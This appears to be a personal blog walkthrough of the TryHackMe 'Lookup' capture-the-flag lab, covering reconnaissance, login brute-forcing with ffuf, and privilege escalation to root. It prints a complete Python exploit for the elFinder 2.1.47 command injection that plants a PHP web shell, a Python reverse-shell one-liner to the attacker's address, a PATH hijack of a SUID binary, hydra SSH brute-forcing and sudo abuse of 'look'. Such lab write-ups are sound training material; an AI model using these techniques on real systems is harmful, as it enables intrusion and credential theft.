Lookup - TryHackMe - Walkthrough
This new TryHackMe Room is about brute forcing credentials, finding a vulnerability and escalating privileges.
Description
Lookup offers a treasure trove of learning opportunities for aspiring hackers. This intriguing machine showcases various real-world vulnerabilities, ranging from web application weaknesses to privilege escalation techniques. By exploring and exploiting these vulnerabilities, hackers can sharpen their skills and gain invaluable experience in ethical hacking. Through “Lookup,” hackers can master the art of reconnaissance, scanning, and enumeration to uncover hidden services and subdomains. They will learn how to exploit web application vulnerabilities, such as command injection, and understand the significance of secure coding practices. The machine also challenges hackers to automate tasks, demonstrating the power of scripting in penetration testing.
Note: For free users, it is recommended to use your own VM if you’ll ever experience problems visualizing the site. Please allow 3-5 minutes for the VM to fully boot up.
My note: The text definitly sounds like generated.
This Room is rated Easy and is Free on TryHackMe.
https://tryhackme.com/r/room/lookup
Inital scanning
The first thing I do on every box, is a nmap
scan. I added all ports, activated version output and used the default scripts. In addition to that I outputed the scan in all formats to the nmap
dir and activated double verbosity, so if a port is discovered I see it.
1
sudo nmap -p- -sV -sC -oA nmap/lookup -vv 10.10.238.64
The nmap
scan shows that only two ports are open, one is ssh
the other one is Apache
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Nmap 7.94SVN scan initiated Fri Nov 22 19:13:32 2024 as: nmap/lookup -p- -sV -sC -oA nmap -vv 10.10.238.64
Nmap scan report for lookup.thm (10.10.238.64)
Host is up, received echo-reply ttl 63 (0.069s latency).
Scanned at 2024-11-22 19:13:32 UTC for 42s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMc4hLykriw3nBOsKHJK1Y6eauB8OllfLLlztbB4tu4c9cO8qyOXSfZaCcb92uq/Y3u02PPHWq2yXOLPler1AFGVhuSfIpokEnT2jgQzKL63uJMZtoFzL3RW8DAzunrHhi/nQqo8sw7wDCiIN9s4PDrAXmP6YXQ5ekK30om9kd5jHG6xJ+/gIThU4ODr/pHAqr28bSpuHQdgphSjmeShDMg8wu8Kk/B0bL2oEvVxaNNWYWc1qHzdgjV5HPtq6z3MEsLYzSiwxcjDJ+EnL564tJqej6R69mjII1uHStkrmewzpiYTBRdgi9A3Yb+x8NxervECFhUR2MoR1zD+0UJbRA2v1LQaGg9oYnYXNq3Lc5c4aXz638wAUtLtw2SwTvPxDrlCmDVtUhQFDhyFOu9bSmPY0oGH5To8niazWcTsCZlx2tpQLhF/gS3jP/fVw+H6Eyz/yge3RYeyTv3ehV6vXHAGuQLvkqhT6QS21PLzvM7bCqmo1YIqHfT2DLi7jZxdk=
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJNL/iO8JI5DrcvPDFlmqtX/lzemir7W+WegC7hpoYpkPES6q+0/p4B2CgDD0Xr1AgUmLkUhe2+mIJ9odtlWW30=
| 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFG/Wi4PUTjReEdk2K4aFMi8WzesipJ0bp0iI0FM8AfE
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Login Page
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
# Nmap done at Fri Nov 22 19:14:14 2024 -- 1 IP address (1 host up) scanned in 41.82 seconds
If we try to access the web server we are redirected to http://lookup.thm
, I added lookup.thm
to my /etc/hosts
file.
1
10.10.153.26 lookup.thm
Next I tried to enumerate for subdomains, because this was mentioned in the challenge description.
1
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.lookup.thm" -u http://10.10.238.64 -fs 0
After a while trying different wordlists, I could only find www.lookup.thm
which is the same page as lookup.thm
, that’s why I stopped there and now focused at the login page. I first tired special characters and looked for the low hanging fruits like SQL-Injection or other injections, but I didn’t find any vulerabilities. Then I tried default usernames and passwords.
Interestingly, I found that using ‘admin’ as the username returns different results from the site compared to using a username that doesn’t exist.
I then used the tool I like the most ffuf
to find a password for this user. I used the following request payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /login.php HTTP/1.1
Host: www.lookup.thm
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://www.lookup.thm/
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://www.lookup.thm
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
username=admin&password=FUZZ
1
ffuf -request password.brute -request-proto http -w /usr/share/wordlists/rockyou.txt -fs 62
The results look promising:
We successfully found a password. Now let’s try it!
What… what da, this was unexpected, now both parts of the credentils are wrong. The only possible solution now can be that the password and username are check independently so now we have a password and need a username for that password!?.
So next I modified the request from above: …
1
username=FUZZ&password=YOURFOUNDPASSWORD
… and used the modified command with some random wordlist form seclists
.
1
ffuf -request password.brute -request-proto http -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -fs 74
Nice, we got it, this looks more promising.
The request redirects us with a cookie to files.lookup.thm
, how could we miss that by the subdomain scanner?
Intresting domain hidding techinque
If we look at the response from a non existing subdomain, the response is exactly the same as the one from the subdomain files.lookup.thm
.
Only if our cookie login_status=success
is set we get redirected again to http://files.lookup.thm/elFinder/elfinder.html
.
Subdomain application
Let’s check this application running on the subdomain files.lookup.thm
. It looks like some file management program. The first thing I do is check what that application is, if it’s a custom application or something from the web.
I run gobuster
on the folder and found this changelog, the reason this is important, is that we normally see a version inside such files, http://files.lookup.thm/elFinder/Changelog
.
1
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://files.lookup.thm/elFinder
At the top of this file we can spot the version 2.1.47
. If we Google that with the application name elFinder
we will find a command injection vulnerability.
Two things caught my eye:
- This exploit is in python2 (Parrot somehow doesn’t like that….)
- We need a
SecSignal.jpg
file, I downloaded a random one from the internet.
To fix the first issue, I asked ChactGPT friendly, if he would like to rewrite the script in python3
and, it did it!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/python3
import requests
import json
import sys
payload = 'SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg'
def usage():
if len(sys.argv) != 2:
print("Usage: python3 exploit.py [URL]")
sys.exit(0)
def upload(url, payload):
with open('SecSignal.jpg', 'rb') as f:
files = {'upload[]': (payload, f)}
data = {
"reqid": "1693222c439f4",
"cmd": "upload",
"target": "l1_Lw",
"mtime[]": "1497726174"
}
r = requests.post(f"{url}/php/connector.minimal.php", files=files, data=data)
j = json.loads(r.text)
return j['added'][0]['hash']
def imgRotate(url, file_hash):
r = requests.get(
f"{url}/php/connector.minimal.php?target={file_hash}&width=539&height=960°ree=180&quality=100&bg=&mode=rotate&cmd=resize&reqid=169323550af10c"
)
return r.text
def shell(url):
r = requests.get(f"{url}/php/SecSignal.php")
if r.status_code == 200:
print("[+] Pwned! :)")
print("[+] Getting the shell...")
while True:
try:
user_input = input("$ ")
r = requests.get(f"{url}/php/SecSignal.php?c={user_input}")
print(r.text)
except KeyboardInterrupt:
sys.exit("\nBye kaker!")
else:
print("[*] The site seems not to be vulnerable :(")
def main():
usage()
url = sys.argv[1]
print("[*] Uploading the malicious image...")
file_hash = upload(url, payload)
print("[*] Running the payload...")
imgRotate(url, file_hash)
shell(url)
if __name__ == "__main__":
main()
Now let’s execute the exploit with the URL of the server.
Nice we got a shell, I generated a second shell stage payload from revshells.com
, to get a nicer shell and then stabalized the shell.
1
2
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.78.229",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
nc -lvnp 4444 # on my machine
User
I now went for the user flag, but the user flag wasn’t readable, so we first need to think how we get think, the local user ironicly;)
Enough with the jokes, let’s search for possible attack vectors. I usually start searching for the low hanging fruits here too. This includes checking if there are any SUID binarys. I do this with this command:
1
find / -perm -u=s -type f 2>/dev/null
There is one file named pwm
, what ever that name means, if we check the permissions with ls -la
, we can see that it runs as root (-rwsr-sr-x 1 root root
). To don’t waste time downloading the file for reversing I simply run it.
The file executed the id
command?! and prints the file .passwords
which we earlier saw in the home directory of the user think. That looks interesting, I now used strings
to get some deeper unerstanding of what the binary does:
So now I know what we should do:
- First we need to generate our own
id
script file wich simply prints the id like the legitimateid
command (uid=1000(think)
) - The next step is to add our
id
script path to ourPATH
environment variable, the SUID file will now use thisPATH
to find our script - This script file then forges the user
think
and will print the password file inside the directory of the user think
Let’s do it and then execute the script:
1
2
3
echo "echo 'uid=1000(think)'" > id
chmod +x id
export PATH=$PWD:$PATH
We successfully get a list of passwords, these must be the passwords for the user think, I copied them to a wordlist file.
1
hydra -l think -P wordlist.txt ssh://10.10.153.26
We got the passwod and can login via ssh
to the server now.
Root
Let’s now check what we need to do to become root. If I already have a fully functioning user I usually start by checking the sudo rigths with sudo -l
.
We can execute the file /usr/bin/look
, which likely is our target here. I now run it:
This program looks like grep
, we can use it to find a string, if we run it, with the /etc/shadow
as the destination file, we can see that it only outputs the lines of this file which start with the string we specified.
We can now abuse this: We know that the root flag location and we know must be some hex characters, so we can check them all, we can use the command below to get the final flag.
1
for i in {0..15} ; do sudo /usr/bin/look $(printf '%x\n' $i) /root/root.txt; done
This was the challenge, I really liked it.
Conclusion
The point I liked the most was the subdomain hiding, this is a nice technique to hide a subdomain.